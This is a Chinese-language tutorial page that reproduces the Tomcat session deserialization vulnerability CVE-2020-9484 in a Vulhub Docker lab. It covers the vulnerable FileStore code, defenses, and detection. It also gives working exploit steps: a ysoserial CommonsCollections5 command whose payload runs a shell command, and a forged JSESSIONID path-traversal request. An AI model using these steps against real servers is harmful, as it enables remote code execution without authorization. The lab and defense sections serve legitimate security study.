溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Tomcat Session反序列化漏洞復現

發布時間:2021-12-17 16:26:06 來源:億速云 閱讀:309 作者:柒染 欄目:安全技術
# 如何進行Tomcat Session反序列化漏洞復現

## 前言

Tomcat作為廣泛使用的Java Web應用服務器,其安全性備受關注。Session反序列化漏洞(CVE-2020-9484)是近年來影響較大的高危漏洞,允許攻擊者通過精心構造的序列化數據實現遠程代碼執行。本文將詳細講解漏洞原理、環境搭建、利用過程及防御措施,幫助安全研究人員掌握漏洞復現方法。

---

## 一、漏洞概述

### 1.1 漏洞背景
- **漏洞編號**:CVE-2020-9484
- **影響版本**:Apache Tomcat 10.0.0-M1至10.0.0-M4、9.0.0.M1至9.0.34、8.5.0至8.5.54、7.0.0至7.0.103
- **漏洞類型**:反序列化遠程代碼執行(RCE)
- **CVSS評分**:9.8(Critical)

### 1.2 漏洞原理
當Tomcat配置了`PersistentManager`并使用`FileStore`存儲Session時,攻擊者可上傳惡意序列化數據到服務器,通過偽造Session ID觸發反序列化操作,最終執行任意代碼。

**關鍵點**:
- 使用`JSESSIONID`指定文件路徑
- 服務器未對反序列化數據做安全檢查
- 依賴`org.apache.catalina.session.FileStore`組件

---

## 二、實驗環境搭建

### 2.1 所需工具
| 工具名稱          | 用途說明                     |
|-------------------|----------------------------|
| Docker           | 快速部署漏洞環境            |
| Vulhub鏡像       | 預置漏洞環境的Docker鏡像庫  |
| ysoserial       | Java反序列化利用工具        |
| Burp Suite      | 攔截和修改HTTP請求          |

### 2.2 環境配置步驟
```bash
# 拉取Vulhub漏洞環境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2020-9484

# 啟動漏洞環境(需提前安裝Docker)
docker-compose up -d

# 驗證服務是否啟動
curl http://127.0.0.1:8080

關鍵配置驗證: 檢查conf/context.xml中是否存在如下配置:

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore" directory="/tmp"/>
</Manager>

三、漏洞復現過程

3.1 生成惡意序列化數據

使用ysoserial生成CommonsCollections利用鏈:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > session.ser

3.2 上傳惡意文件

將生成的session.ser上傳至Tomcat可訪問目錄(如/tmp):

docker cp session.ser tomcat:/tmp/

3.3 偽造Session請求

通過Burp構造惡意請求:

GET /index.jsp HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=../../../../../tmp/session

3.4 驗證攻擊效果

進入容器檢查命令是否執行:

docker exec -it tomcat bash
ls -la /tmp/pwned  # 查看文件是否創建

四、漏洞深度分析

4.1 調用鏈分析

  1. Request.doGetSession() 嘗試通過Session ID加載Session
  2. FileStore.load() 從文件系統讀取序列化數據
  3. Session.readObject() 執行反序列化操作
  4. CommonsCollections鏈觸發RCE

4.2 關鍵代碼片段

// FileStore.java
public Session load(String id) throws ClassNotFoundException, IOException {
    File file = new File(directory(), id);
    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
        return (Session) ois.readObject();
    }
}

4.3 利用限制條件

  • 需要知道服務器絕對路徑
  • 依賴存在漏洞的第三方庫(如commons-collections)
  • 需具備文件上傳權限

五、防御方案

5.1 官方修復措施

  • 升級至安全版本:
    • Tomcat 7.0.104+
    • Tomcat 8.5.55+
    • Tomcat 9.0.35+

5.2 臨時緩解方案

<!-- 關閉PersistentManager -->
<Manager className="org.apache.catalina.session.StandardManager"/>

5.3 安全建議

  1. 禁用Session持久化功能
  2. 配置SerialKiller過濾反序列化類
  3. 設置-Dorg.apache.catalina.session.StandardSession.ACTIVITY_CHECK=true

六、擴展知識

6.1 其他利用鏈對比

利用鏈 適用版本 依賴條件
CommonsCollections 3.1-3.2.1 最常見利用方式
Groovy 2.3.9-2.4.10 需Groovy庫
Jdk7u21 JDK 1.7 利用原生JDK類

6.2 檢測方法

  • 使用SerializationDumper分析流量
  • 部署RASP進行運行時防護
  • 使用gadgetinspector掃描依賴庫

結語

通過本文的詳細復現過程,我們深入理解了Tomcat Session反序列化漏洞的利用原理。在實際安全測試中,應當注意遵守法律法規,僅對授權目標進行測試。建議開發人員及時更新組件版本,并采用縱深防御策略保護Web應用安全。

相關資源: - Apache官方公告 - CVE詳細分析報告 - GitHub PoC代碼 “`

注:實際復現時請確保在授權環境下進行,本文僅用于技術研究目的。根據實驗環境差異,部分路徑和參數可能需要調整。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女